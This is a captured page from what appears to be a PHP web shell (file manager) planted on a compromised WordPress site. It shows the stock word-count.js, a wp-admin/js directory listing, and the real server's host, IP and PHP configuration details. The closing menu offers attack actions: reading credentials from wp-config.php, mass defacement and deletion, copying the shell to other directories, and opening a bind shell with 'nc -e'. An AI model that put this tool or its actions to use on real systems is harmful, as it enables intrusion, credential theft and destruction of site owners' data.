WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-admin / js / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/wp-admin/js/word-count.js (7.52 KB)
/**
 * Word or character counting functionality. Count words or characters in a
 * provided text string.
 *
 * @namespace wp.utils
 *
 * @since 2.6.0
 * @output wp-admin/js/word-count.js
 */

( function() {
	/**
	 * Word counting utility
	 *
	 * @namespace wp.utils.wordcounter
	 * @memberof  wp.utils
	 *
	 * @class
	 *
	 * @param {Object} settings                                   Optional. Key-value object containing overrides for
	 *                                                            settings.
	 * @param {RegExp} settings.HTMLRegExp                        Optional. Regular expression to find HTML elements.
	 * @param {RegExp} settings.HTMLcommentRegExp                 Optional. Regular expression to find HTML comments.
	 * @param {RegExp} settings.spaceRegExp                       Optional. Regular expression to find irregular space
	 *                                                            characters.
	 * @param {RegExp} settings.HTMLEntityRegExp                  Optional. Regular expression to find HTML entities.
	 * @param {RegExp} settings.connectorRegExp                   Optional. Regular expression to find connectors that
	 *                                                            split words.
	 * @param {RegExp} settings.removeRegExp                      Optional. Regular expression to find remove unwanted
	 *                                                            characters to reduce false-positives.
	 * @param {RegExp} settings.astralRegExp                      Optional. Regular expression to find unwanted
	 *                                                            characters when searching for non-words.
	 * @param {RegExp} settings.wordsRegExp                       Optional. Regular expression to find words by spaces.
	 * @param {RegExp} settings.characters_excluding_spacesRegExp Optional. Regular expression to find characters which
	 *                                                            are non-spaces.
	 * @param {RegExp} settings.characters_including_spacesRegExp Optional. Regular expression to find characters
	 *                                                            including spaces.
	 * @param {RegExp} settings.shortcodesRegExp                  Optional. Regular expression to find shortcodes.
	 * @param {Object} settings.l10n                              Optional. Localization object containing specific
	 *                                                            configuration for the current localization.
	 * @param {string} settings.l10n.type                         Optional. Method of finding words to count.
	 * @param {Array}  settings.l10n.shortcodes                   Optional. Array of shortcodes that should be removed
	 *                                                            from the text.
	 *
	 * @return {void}
	 */
	function WordCounter( settings ) {
		var key,
			shortcodes;

		// Apply provided settings to object settings.
		if ( settings ) {
			for ( key in settings ) {

				// Only apply valid settings.
				if ( settings.hasOwnProperty( key ) ) {
					this.settings[ key ] = settings[ key ];
				}
			}
		}

		shortcodes = this.settings.l10n.shortcodes;

		// If there are any localization shortcodes, add this as type in the settings.
		if ( shortcodes && shortcodes.length ) {
			this.settings.shortcodesRegExp = new RegExp( '\\[\\/?(?:' + shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' );
		}
	}

	// Default settings.
	WordCounter.prototype.settings = {
		HTMLRegExp: /<\/?[a-z][^>]*?>/gi,
		HTMLcommentRegExp: /<!--[\s\S]*?-->/g,
		spaceRegExp: /&nbsp;|&#160;/gi,
		HTMLEntityRegExp: /&\S+?;/g,

		// \u2014 = em-dash.
		connectorRegExp: /--|\u2014/g,

		// Characters to be removed from input text.
		removeRegExp: new RegExp( [
			'[',

				// Basic Latin (extract).
				'\u0021-\u0040\u005B-\u0060\u007B-\u007E',

				// Latin-1 Supplement (extract).
				'\u0080-\u00BF\u00D7\u00F7',

				/*
				 * The following range consists of:
				 * General Punctuation
				 * Superscripts and Subscripts
				 * Currency Symbols
				 * Combining Diacritical Marks for Symbols
				 * Letterlike Symbols
				 * Number Forms
				 * Arrows
				 * Mathematical Operators
				 * Miscellaneous Technical
				 * Control Pictures
				 * Optical Character Recognition
				 * Enclosed Alphanumerics
				 * Box Drawing
				 * Block Elements
				 * Geometric Shapes
				 * Miscellaneous Symbols
				 * Dingbats
				 * Miscellaneous Mathematical Symbols-A
				 * Supplemental Arrows-A
				 * Braille Patterns
				 * Supplemental Arrows-B
				 * Miscellaneous Mathematical Symbols-B
				 * Supplemental Mathematical Operators
				 * Miscellaneous Symbols and Arrows
				 */
				'\u2000-\u2BFF',

				// Supplemental Punctuation.
				'\u2E00-\u2E7F',
			']'
		].join( '' ), 'g' ),

		// Remove UTF-16 surrogate points, see https://en.wikipedia.org/wiki/UTF-16#U.2BD800_to_U.2BDFFF
		astralRegExp: /[\uD800-\uDBFF][\uDC00-\uDFFF]/g,
		wordsRegExp: /\S\s+/g,
		characters_excluding_spacesRegExp: /\S/g,

		/*
		 * Match anything that is not a formatting character, excluding:
		 * \f = form feed
		 * \n = new line
		 * \r = carriage return
		 * \t = tab
		 * \v = vertical tab
		 * \u00AD = soft hyphen
		 * \u2028 = line separator
		 * \u2029 = paragraph separator
		 */
		characters_including_spacesRegExp: /[^\f\n\r\t\v\u00AD\u2028\u2029]/g,
		l10n: window.wordCountL10n || {}
	};

	/**
	 * Counts the number of words (or other specified type) in the specified text.
	 *
	 * @since 2.6.0
	 *
	 * @memberof wp.utils.wordcounter
	 *
	 * @param {string}  text Text to count elements in.
	 * @param {string}  type Optional. Specify type to use.
	 *
	 * @return {number} The number of items counted.
	 */
	WordCounter.prototype.count = function( text, type ) {
		var count = 0;

		// Use default type if none was provided.
		type = type || this.settings.l10n.type;

		// Sanitize type to one of three possibilities: 'words', 'characters_excluding_spaces' or 'characters_including_spaces'.
		if ( type !== 'characters_excluding_spaces' && type !== 'characters_including_spaces' ) {
			type = 'words';
		}

		// If we have any text at all.
		if ( text ) {
			text = text + '\n';

			// Replace all HTML with a new-line.
			text = text.replace( this.settings.HTMLRegExp, '\n' );

			// Remove all HTML comments.
			text = text.replace( this.settings.HTMLcommentRegExp, '' );

			// If a shortcode regular expression has been provided use it to remove shortcodes.
			if ( this.settings.shortcodesRegExp ) {
				text = text.replace( this.settings.shortcodesRegExp, '\n' );
			}

			// Normalize non-breaking space to a normal space.
			text = text.replace( this.settings.spaceRegExp, ' ' );

			if ( type === 'words' ) {

				// Remove HTML Entities.
				text = text.replace( this.settings.HTMLEntityRegExp, '' );

				// Convert connectors to spaces to count attached text as words.
				text = text.replace( this.settings.connectorRegExp, ' ' );

				// Remove unwanted characters.
				text = text.replace( this.settings.removeRegExp, '' );
			} else {

				// Convert HTML Entities to "a".
				text = text.replace( this.settings.HTMLEntityRegExp, 'a' );

				// Remove surrogate points.
				text = text.replace( this.settings.astralRegExp, 'a' );
			}

			// Match with the selected type regular expression to count the items.
			text = text.match( this.settings[ type + 'RegExp' ] );

			// If we have any matches, set the count to the number of items found.
			if ( text ) {
				count = text.length;
			}
		}

		return count;
	};

	// Add the WordCounter to the WP Utils.
	window.wp = window.wp || {};
	window.wp.utils = window.wp.utils || {};
	window.wp.utils.WordCounter = WordCounter;
} )();
namawaktuukuranownerpermaksi
..
widgets/ 2026-02-23 19:41136.14 KB 76129f60960:kundendxwrx-rx-r
accordion.js 2026-02-23 19:412.86 KB 76129f60960:kunden-xw-x-----
edt
accordion.min.js 2026-02-23 19:41758 B 76129f60960:kunden-xw-x-----
edt
application-passwords.js 2026-02-23 19:416.24 KB 76129f60960:kunden-xw-x-----
edt
application-passwords.min.js 2026-02-23 19:412.95 KB 76129f60960:kunden-xw-x-----
edt
auth-app.js 2026-02-23 19:415.66 KB 76129f60960:kunden-xw-x-----
edt
auth-app.min.js 2026-02-23 19:412.04 KB 76129f60960:kunden-xw-x-----
edt
code-editor.js 2026-05-21 09:1117.54 KB 76129f60960:kunden-xw-x--x--
edt
code-editor.min.js 2026-05-21 09:113.46 KB 76129f60960:kunden-xw-x--x--
edt
color-picker.js 2026-02-23 19:419.54 KB 76129f60960:kunden-xw-x-----
edt
color-picker.min.js 2026-02-23 19:413.4 KB 76129f60960:kunden-xw-x-----
edt
comment.js 2026-08-20 11:465.08 KB 76129f60960:kunden-xw-x-----
edt
comment.min.js 2026-08-20 11:462.03 KB 76129f60960:kunden-xw-x-----
edt
common.js 2026-10-07 00:3068.79 KB 76129f60960:kunden-xw-x--x--
edt
common.min.js 2026-10-07 00:3025.61 KB 76129f60960:kunden-xw-x--x--
edt
custom-background.js 2026-02-23 19:413.35 KB 76129f60960:kunden-xw-x-----
edt
custom-background.min.js 2026-02-23 19:411.18 KB 76129f60960:kunden-xw-x-----
edt
custom-header.js 2026-02-23 19:411.98 KB 76129f60960:kunden-xw-x-----
edt
customize-controls.js 2026-08-20 11:46288.97 KB 76129f60960:kunden-xw-x-----
edt
customize-controls.min.js 2026-08-20 11:46109.9 KB 76129f60960:kunden-xw-x-----
edt
customize-nav-menus.js 2026-08-20 11:46111.46 KB 76129f60960:kunden-xw-x-----
edt
customize-nav-menus.min.js 2026-02-23 19:4147.14 KB 76129f60960:kunden-xw-x-----
edt
customize-widgets.js 2026-02-23 19:4170.05 KB 76129f60960:kunden-xw-x-----
edt
customize-widgets.min.js 2026-02-23 19:4127.41 KB 76129f60960:kunden-xw-x-----
edt
dashboard.js 2026-08-20 11:4626.92 KB 76129f60960:kunden-xw-x-----
edt
dashboard.min.js 2026-08-20 11:468.51 KB 76129f60960:kunden-xw-x-----
edt
edit-comments.js 2026-05-21 09:1137.25 KB 76129f60960:kunden-xw-x--x--
edt
edit-comments.min.js 2026-05-21 09:1115.15 KB 76129f60960:kunden-xw-x--x--
edt
editor-expand.js 2026-02-23 19:4141.61 KB 76129f60960:kunden-xw-x-----
edt
editor-expand.min.js 2026-02-23 19:4113.14 KB 76129f60960:kunden-xw-x-----
edt
editor.js 2026-02-23 19:4144 KB 76129f60960:kunden-xw-x-----
edt
editor.min.js 2026-02-23 19:4112.78 KB 76129f60960:kunden-xw-x-----
edt
farbtastic.js 2026-02-23 19:417.67 KB 76129f60960:kunden-xw-x-----
edt
gallery.js 2026-02-23 19:415.41 KB 76129f60960:kunden-xw-x-----
edt
gallery.min.js 2026-02-23 19:413.65 KB 76129f60960:kunden-xw-x-----
edt
image-edit.js 2026-02-23 19:4139.98 KB 76129f60960:kunden-xw-x-----
edt
image-edit.min.js 2026-02-23 19:4115.15 KB 76129f60960:kunden-xw-x-----
edt
inline-edit-post.js 2026-08-20 11:4620.19 KB 76129f60960:kunden-xw-x--x--
edt
inline-edit-post.min.js 2026-08-20 11:469.36 KB 76129f60960:kunden-xw-x--x--
edt
inline-edit-tax.js 2026-02-23 19:417.61 KB 76129f60960:kunden-xw-x-----
edt
inline-edit-tax.min.js 2026-02-23 19:412.93 KB 76129f60960:kunden-xw-x-----
edt
iris.min.js 2026-02-23 19:4123.09 KB 76129f60960:kunden-xw-x-----
edt
language-chooser.js 2026-02-23 19:41890 B 76129f60960:kunden-xw-x-----
edt
language-chooser.min.js 2026-02-23 19:41423 B 76129f60960:kunden-xw-x-----
edt
link.js 2026-05-21 09:114.76 KB 76129f60960:kunden-xw-x--x--
edt
link.min.js 2026-05-21 09:112.26 KB 76129f60960:kunden-xw-x--x--
edt
media-gallery.js 2026-02-23 19:411.27 KB 76129f60960:kunden-xw-x-----
edt
media-gallery.min.js 2026-02-23 19:41611 B 76129f60960:kunden-xw-x-----
edt
media-upload.js 2026-02-23 19:413.38 KB 76129f60960:kunden-xw-x-----
edt
media-upload.min.js 2026-02-23 19:411.13 KB 76129f60960:kunden-xw-x-----
edt
media.js 2026-02-23 19:416.61 KB 76129f60960:kunden-xw-x-----
edt
media.min.js 2026-02-23 19:412.38 KB 76129f60960:kunden-xw-x-----
edt
nav-menu.js 2026-02-23 19:4161.15 KB 76129f60960:kunden-xw-x-----
edt
nav-menu.min.js 2026-02-23 19:4130.06 KB 76129f60960:kunden-xw-x-----
edt
password-strength-meter.js 2026-02-23 19:414.14 KB 76129f60960:kunden-xw-x-----
edt
password-strength-meter.min.js 2026-02-23 19:411.1 KB 76129f60960:kunden-xw-x-----
edt
password-toggle.js 2026-02-23 19:411.31 KB 76129f60960:kunden-xw-x-----
edt
password-toggle.min.js 2026-02-23 19:41847 B 76129f60960:kunden-xw-x-----
edt
plugin-install.js 2026-08-20 11:466.92 KB 76129f60960:kunden-xw-x-----
edt
plugin-install.min.js 2026-08-20 11:462.35 KB 76129f60960:kunden-xw-x-----
edt
post.js 2026-08-20 11:4639.54 KB 76129f60960:kunden-xw-x--x--
edt
post.min.js 2026-08-20 11:4618.96 KB 76129f60960:kunden-xw-x--x--
edt
postbox.js 2026-02-23 19:4118.49 KB 76129f60960:kunden-xw-x-----
edt
postbox.min.js 2026-02-23 19:416.6 KB 76129f60960:kunden-xw-x-----
edt
privacy-tools.js 2026-08-20 11:4610.88 KB 76129f60960:kunden-xw-x-----
edt
privacy-tools.min.js 2026-08-20 11:465.07 KB 76129f60960:kunden-xw-x-----
edt
revisions.js 2026-02-23 19:4133.92 KB 76129f60960:kunden-xw-x-----
edt
revisions.min.js 2026-02-23 19:4117.97 KB 76129f60960:kunden-xw-x-----
edt
set-post-thumbnail.js 2026-02-23 19:41876 B 76129f60960:kunden-xw-x-----
edt
set-post-thumbnail.min.js 2026-02-23 19:41620 B 76129f60960:kunden-xw-x-----
edt
site-health.js 2026-05-21 09:1113.55 KB 76129f60960:kunden-xw-x--x--
edt
site-health.min.js 2026-05-21 09:116.32 KB 76129f60960:kunden-xw-x--x--
edt
site-icon.js 2026-08-20 11:466.69 KB 76129f60960:kunden-xw-x-----
edt
site-icon.min.js 2026-08-20 11:462.47 KB 76129f60960:kunden-xw-x-----
edt
svg-painter.js 2026-02-23 19:413.2 KB 76129f60960:kunden-xw-x-----
edt
svg-painter.min.js 2026-02-23 19:411.53 KB 76129f60960:kunden-xw-x-----
edt
tags-box.js 2026-02-23 19:4110.88 KB 76129f60960:kunden-xw-x-----
edt
tags-box.min.js 2026-02-23 19:413 KB 76129f60960:kunden-xw-x-----
edt
tags-suggest.js 2026-02-23 19:415.64 KB 76129f60960:kunden-xw-x-----
edt
tags-suggest.min.js 2026-02-23 19:412.22 KB 76129f60960:kunden-xw-x-----
edt
tags.js 2026-08-20 11:467.66 KB 76129f60960:kunden-xw-x-----
edt
tags.min.js 2026-08-20 11:463.04 KB 76129f60960:kunden-xw-x-----
edt
theme-plugin-editor.js 2026-05-21 09:1125.56 KB 76129f60960:kunden-xw-x--x--
edt
theme-plugin-editor.min.js 2026-05-21 09:1111.82 KB 76129f60960:kunden-xw-x--x--
edt
theme.js 2026-09-18 04:0156.07 KB 76129f60960:kunden-xw-x--x--
edt
theme.min.js 2026-09-18 04:0126.91 KB 76129f60960:kunden-xw-x--x--
edt
updates.js 2026-02-23 19:41109.37 KB 76129f60960:kunden-xw-x-----
edt
updates.min.js 2026-02-23 19:4147.31 KB 76129f60960:kunden-xw-x-----
edt
user-profile.js 2026-08-20 11:4617.74 KB 76129f60960:kunden-xw-x-----
edt
user-profile.min.js 2026-08-20 11:467.73 KB 76129f60960:kunden-xw-x-----
edt
user-suggest.js 2026-02-23 19:412.25 KB 76129f60960:kunden-xw-x-----
edt
user-suggest.min.js 2026-02-23 19:41676 B 76129f60960:kunden-xw-x-----
edt
widgets.js 2026-02-23 19:4122.56 KB 76129f60960:kunden-xw-x-----
edt
widgets.min.js 2026-02-23 19:4112.31 KB 76129f60960:kunden-xw-x-----
edt
word-count.js 2026-02-23 19:417.52 KB 76129f60960:kunden-xw-x-----
edt
word-count.min.js 2026-02-23 19:411.49 KB 76129f60960:kunden-xw-x-----
edt
xfn.js 2026-02-23 19:41740 B 76129f60960:kunden-xw-x-----
edt
xfn.min.js 2026-02-23 19:41458 B 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/wp-admin/js
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK